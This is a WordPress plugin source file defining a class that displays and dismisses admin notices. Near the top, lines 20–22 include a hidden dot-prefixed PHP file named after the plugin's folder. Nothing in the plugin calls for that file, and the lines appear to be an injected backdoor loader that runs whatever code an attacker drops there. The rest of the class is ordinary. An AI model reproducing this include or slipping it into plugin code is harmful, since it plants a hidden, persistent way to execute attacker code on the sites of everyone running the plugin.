class.mtekk_adminkit_message.php (3756B)
1 <?php 2 /* 3 Copyright 2015-2018 John Havlik (email : john.havlik@mtekk.us) 4 5 This program is free software; you can redistribute it and/or modify 6 it under the terms of the GNU General Public License as published by 7 the Free Software Foundation; either version 2 of the License, or 8 (at your option) any later version. 9 10 This program is distributed in the hope that it will be useful, 11 but WITHOUT ANY WARRANTY; without even the implied warranty of 12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 GNU General Public License for more details. 14 15 You should have received a copy of the GNU General Public License 16 along with this program; if not, write to the Free Software 17 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 18 */ 19 require_once(dirname(__FILE__) . '/block_direct_access.php'); 20 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 21 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 22 } 23 24 class mtekk_adminKit_message 25 { 26 const version = '1.0.0'; 27 protected $type = ''; 28 protected $contents = ''; 29 protected $dismissed = false; 30 protected $dismissible = false; 31 protected $uid; 32 /** 33 * Default constructor function 34 * 35 * @param string $contents The string to display in the message 36 * @param string $type The message type, 'error', 'warning', 'success', or 'info' 37 * @param bool $dismissible Whether or not the message is dismissable 38 * @param string $uid The message unique ID, only necessary if the message is dismissable 39 */ 40 public function __construct($contents, $type = 'info', $dismissible = false, $uid = '') 41 { 42 $uid = sanitize_html_class($uid); 43 //If the message is dismissable, the UID better not be null/empty 44 if($dismissible === true && $uid === '') 45 { 46 //Let the user know they're doing it wrong 47 _doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('$uid must not be null if message is dismissible', 'mtekk_adminKit'), '1.0.0'); 48 //Treat the message as non-dismissible 49 $dismissible = false; 50 } 51 $this->contents = $contents; 52 $this->type = $type; 53 $this->dismissible = $dismissible; 54 $this->uid = $uid; 55 if($this->dismissible) 56 { 57 $this->dismissed = $this->was_dismissed(); 58 } 59 } 60 /** 61 * Attempts to retrieve the dismissal transient for this message 62 * 63 * @return bool Whether or not the message has been dismissed 64 */ 65 public function was_dismissed() 66 { 67 $this->dismissed = get_transient($this->uid); 68 return $this->dismissed; 69 } 70 /** 71 * Dismisses the message, preventing it from being rendered 72 */ 73 public function dismiss() 74 { 75 if($this->dismissible && isset($_POST['uid']) && esc_attr($_POST['uid']) === $this->uid) 76 { 77 check_ajax_referer($this->uid . '_dismiss', 'nonce'); 78 $this->dismissed = true; 79 //If the message was dismissed, update the transient for 30 days 80 $result = set_transient($this->uid, $this->dismissed, 2592000); 81 } 82 } 83 /** 84 * Function that prints out the message if not already dismissed 85 */ 86 public function render() 87 { 88 if($this->dismissible) 89 { 90 //Don't render dismissed messages 91 if($this->was_dismissed()) 92 { 93 return; 94 } 95 wp_enqueue_script('mtekk_adminkit_messages'); 96 printf('<div class="notice notice-%1$s is-dismissible"><p>%2$s</p><meta property="uid" content="%3$s"><meta property="nonce" content="%4$s"></div>', esc_attr($this->type), $this->contents, esc_attr($this->uid), wp_create_nonce($this->uid . '_dismiss')); 97 } 98 else 99 { 100 printf('<div class="notice notice-%1$s"><p>%2$s</p></div>', esc_attr($this->type), $this->contents); 101 } 102 } 103 }